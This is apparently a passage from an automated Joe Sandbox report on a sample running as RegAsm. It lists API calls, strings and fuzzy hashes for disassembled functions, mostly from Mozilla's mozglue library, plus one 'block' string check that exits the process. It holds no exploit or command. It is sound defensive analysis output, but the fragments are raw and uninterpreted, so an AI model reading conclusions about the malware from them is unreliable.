AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EF2B
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EF59
GetCurrentThreadId.KERNEL32 ref: 6CB8EFB0
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EFBD
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EFE1
GetCurrentThreadId.KERNEL32 ref: 6CB8EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F000

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB8F02F

Part of subcall function 6CB8F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB8F09B
Part of subcall function 6CB8F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB8F0AC
Part of subcall function 6CB8F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB8F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CB8F008
[I %d/%d] profiler_stop, xrefs: 6CB8EED7

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 3373b79b51240003f4919c5a95c04a6b0f1308db7eb98c87798b124b8005701a
Instruction ID: 68083eae6ca269aed3f15cf9f3162bedfab5beaf2783b9149c39ca3f24341c03
Opcode Fuzzy Hash: 3373b79b51240003f4919c5a95c04a6b0f1308db7eb98c87798b124b8005701a
Instruction Fuzzy Hash: 8E51F2397022D19FEF005BA4D4087AD77B8EB4E36AF14059AE92583B41DB384A04CBB7

Function 6CB7D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CBCE804), ref: 6CB7D047
GetSystemInfo.KERNEL32(?), ref: 6CB7D093
__Init_thread_footer.LIBCMT ref: 6CB7D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CBCE810,00000040), ref: 6CB7D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBCE7B8,00001388), ref: 6CB7D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBCE744,00001388), ref: 6CB7D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBCE784,00001388), ref: 6CB7D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CBCE7DC,00001388), ref: 6CB7D1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CB7D26D
<jemalloc>, xrefs: 6CB7D268, 6CB7D311
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB7D322
MOZ_CRASH(), xrefs: 6CB7D277
MALLOC_OPTIONS, xrefs: 6CB7D0CB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 662d1041075341ee4f2df2c9438c61befb984e53f8f2a88c1ea5dd65ff759617
Instruction ID: d82113aebc8112dfec277e9dfa559283613bb1cbf209615b953b0893cc199610
Opcode Fuzzy Hash: 662d1041075341ee4f2df2c9438c61befb984e53f8f2a88c1ea5dd65ff759617
Instruction Fuzzy Hash: 12811770B052C0DBEB208F78E896B6D37B4EB5A344F14051AEC1197F80D7759A15CBE2

Function 6CB8FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8FADC
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8FAE9
GetCurrentThreadId.KERNEL32 ref: 6CB8FB31
GetCurrentThreadId.KERNEL32 ref: 6CB8FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB8FBF6
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8FC50

Strings

[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6CB8FD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6CB8FC94

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: df6c1ab1e2c2ad473a1ac956a4059480f819b78abcd0d3af389ac9c0df92c8c7
Instruction ID: 4e58a12083e630d5671f1ea5f968253e9aa0a4c29d13da4cd2b21cad717eb22e
Opcode Fuzzy Hash: df6c1ab1e2c2ad473a1ac956a4059480f819b78abcd0d3af389ac9c0df92c8c7
Instruction Fuzzy Hash: A4710131A06680CFDB10DF28C444B6EB7F0FF89708F054969E9458BB52EB34AA04CF92

Function 6CB55E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB55E9D

Part of subcall function 6CB65B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB656EE,?,00000001), ref: 6CB65B85
Part of subcall function 6CB65B50: EnterCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65B90
Part of subcall function 6CB65B50: LeaveCriticalSection.KERNEL32(6CBCF688,?,?,?,6CB656EE,?,00000001), ref: 6CB65BD8
Part of subcall function 6CB65B50: GetTickCount64.KERNEL32 ref: 6CB65BE4

GetCurrentThreadId.KERNEL32 ref: 6CB55EAB
GetCurrentThreadId.KERNEL32 ref: 6CB55EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB55ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CB56017

Part of subcall function 6CB44310: moz_xmalloc.MOZGLUE(00000010,?,6CB442D2), ref: 6CB4436A
Part of subcall function 6CB44310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB442D2), ref: 6CB44387

moz_xmalloc.MOZGLUE(00000004), ref: 6CB55F47
GetCurrentProcess.KERNEL32 ref: 6CB55F53
GetCurrentThread.KERNEL32 ref: 6CB55F5C
GetCurrentProcess.KERNEL32 ref: 6CB55F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB55F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CB55F27

Part of subcall function 6CB5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB5CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB555E1), ref: 6CB55E8C

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB555E1), ref: 6CB5605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB555E1), ref: 6CB560CC

Strings

GeckoMain, xrefs: 6CB55ECE, 6CB56015

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 11484d0c089cf34d76d5cfadc3eedfca54041ecea80a3a3f9dfd06505a6cd3a0
Instruction ID: f44cd8aed2aa95407c4a1dfbfe1604e19f2f907e62a426e57248842f40a432ea
Opcode Fuzzy Hash: 11484d0c089cf34d76d5cfadc3eedfca54041ecea80a3a3f9dfd06505a6cd3a0
Instruction Fuzzy Hash: DF71A0B0A047809FDB10DF28C480A6EBBF4FF5A304F54496DE58687B52D731E958CB92

Function 6CB59590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB431C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CB43217
Part of subcall function 6CB431C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CB43236
Part of subcall function 6CB431C0: FreeLibrary.KERNEL32 ref: 6CB4324B
Part of subcall function 6CB431C0: __Init_thread_footer.LIBCMT ref: 6CB43260
Part of subcall function 6CB431C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CB4327F
Part of subcall function 6CB431C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB4328E
Part of subcall function 6CB431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB432AB
Part of subcall function 6CB431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB432D1
Part of subcall function 6CB431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB432E5
Part of subcall function 6CB431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB432F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB59675
__Init_thread_footer.LIBCMT ref: 6CB59697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB59707
__Init_thread_footer.LIBCMT ref: 6CB5971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB59773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB597B7
FreeLibrary.KERNEL32 ref: 6CB597D0
FreeLibrary.KERNEL32 ref: 6CB597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB59824

Strings

NtMapViewOfSection, xrefs: 6CB59701
MapViewOfFileNuma2, xrefs: 6CB597B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB59670
ntdll.dll, xrefs: 6CB596E3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 94068e6b2a7b57bc5a833cb0127dc53d9cd7e09301f35a6a8b34053a1d602d0f
Instruction ID: 0f6b3c45e64398fb20fa75b94feff1cd38e8012d76f52323cadfa3478d67f30a
Opcode Fuzzy Hash: 94068e6b2a7b57bc5a833cb0127dc53d9cd7e09301f35a6a8b34053a1d602d0f
Instruction Fuzzy Hash: 5C61F6B1B00285DFDF00CFA4D884B9A7BB5EB5E314F40856AED1993780D730AA65CF92

Function 004112B0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004112D5
ExitProcess.KERNEL32 ref: 004112E1
strtok_s.MSVCRT ref: 004112F8

Strings

block, xrefs: 004112C7

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction ID: b2aee4bd772402993bd8daf8ed4e127407cef198cc172b88b11a84757ccddcb3
Opcode Fuzzy Hash: 1ba1f058e3e2379031d11e79f6d2bdd312730fa939e98f1981bd39696260f1a4
Instruction Fuzzy Hash: 6451A574B00209EFDB14DFA0E944BEE37B5BF44B04F10804AE916A7361D778D996CB5A

Function 6CB43AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE768,?,00003000,00000004), ref: 6CB43AC5
LeaveCriticalSection.KERNEL32(6CBCE768,?,00003000,00000004), ref: 6CB43AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6CB43AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CB43B57
EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB43B81
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB43BA3
EnterCriticalSection.KERNEL32(6CBCE7B8), ref: 6CB43BAE
LeaveCriticalSection.KERNEL32(6CBCE7B8), ref: 6CB43C74
EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB43C8B
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB43C9F
LeaveCriticalSection.KERNEL32(6CBCE7B8), ref: 6CB43D5C
EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB43D67
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB43D8A

Part of subcall function 6CB80D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CB43DEF), ref: 6CB80D71
Part of subcall function 6CB80D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CB43DEF), ref: 6CB80D84

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB43DCC
<jemalloc>, xrefs: 6CB43DC7
MOZ_CRASH(), xrefs: 6CB43DB2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: e32b5cbb9babacb70c5891891af35af834263aa0b2e3a1029dea60b51c83fd75
Instruction ID: 35857a8deb82819fc394866edc6d4adb448d9fa0d4706911cbbd4979cbe5c4cf
Opcode Fuzzy Hash: e32b5cbb9babacb70c5891891af35af834263aa0b2e3a1029dea60b51c83fd75
Instruction Fuzzy Hash: DD91D0717082C5CBCB04CF68C8C576E77B2FB99314F288529E9219BB89C771D910DB92

Function 6CB57FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CB58007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CB5801D

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CB5802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CB5803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CB5808D

Part of subcall function 6CB5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB5CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CB5809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CB580B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB580DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB580ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB580FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB5810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CB58133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CB58149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CB58167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CB5817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB58199

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 9795fb8dbbb042f46de159d18f2e48351616244f8202b3fdd7424226ef067d8c
Instruction ID: f3554d7eb01507cfc9885ce03cd6a17c7bfa6dc3578f38256c9b6733d20fafcc
Opcode Fuzzy Hash: 9795fb8dbbb042f46de159d18f2e48351616244f8202b3fdd7424226ef067d8c
Instruction Fuzzy Hash: B251A6B1E401849BDF00DFA5DC84AEFB7B9EF49224F580125E915F7741EB319918CBA1

Function 6CB511B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6CB51213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB51285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6CB512B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6CB51327

Strings

TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6CB512AD
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6CB5120D
&, xrefs: 6CB5126B
MZx, xrefs: 6CB511E1
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6CB5131B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 07a1d177ec6fbbd69f82fc22a2e4722e62eed79ad348d52b2a9ebdd3ad9a1eb7
Instruction ID: 575adbf5b94f344f77681e3be62ef6e9790bf4811c9439f1c8b2061e88c0d466
Opcode Fuzzy Hash: 07a1d177ec6fbbd69f82fc22a2e4722e62eed79ad348d52b2a9ebdd3ad9a1eb7
Instruction Fuzzy Hash: C671B371E057989BDB10DF74C8107EEB7F5BF48309F48065AD445A3B40DB34AAA9CBA2

Function 6CB431C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CB43217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CB43236
FreeLibrary.KERNEL32 ref: 6CB4324B
__Init_thread_footer.LIBCMT ref: 6CB43260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CB4327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB4328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB432AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB432D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB432E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB432F7

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

__aulldiv.LIBCMT ref: 6CB4346B

Strings

QueryInterruptTime, xrefs: 6CB43230
KernelBase.dll, xrefs: 6CB43212

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 4820b4efd413f3f5929c8cb427a75a12718132c93a112a8c42a17d0c37c9d43f
Instruction ID: 1d8876516bb5978b84592cdee0597e890fff2b41a26bb6ae61efddee861061b1
Opcode Fuzzy Hash: 4820b4efd413f3f5929c8cb427a75a12718132c93a112a8c42a17d0c37c9d43f
Instruction Fuzzy Hash: B061F371A087818BC711CF39C45165AB3F4FFCA354F258B2DF8A5A3691DB309659CB42

Function 6CBA6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CBCF618), ref: 6CBA6694
GetThreadId.KERNEL32(?), ref: 6CBA66B1
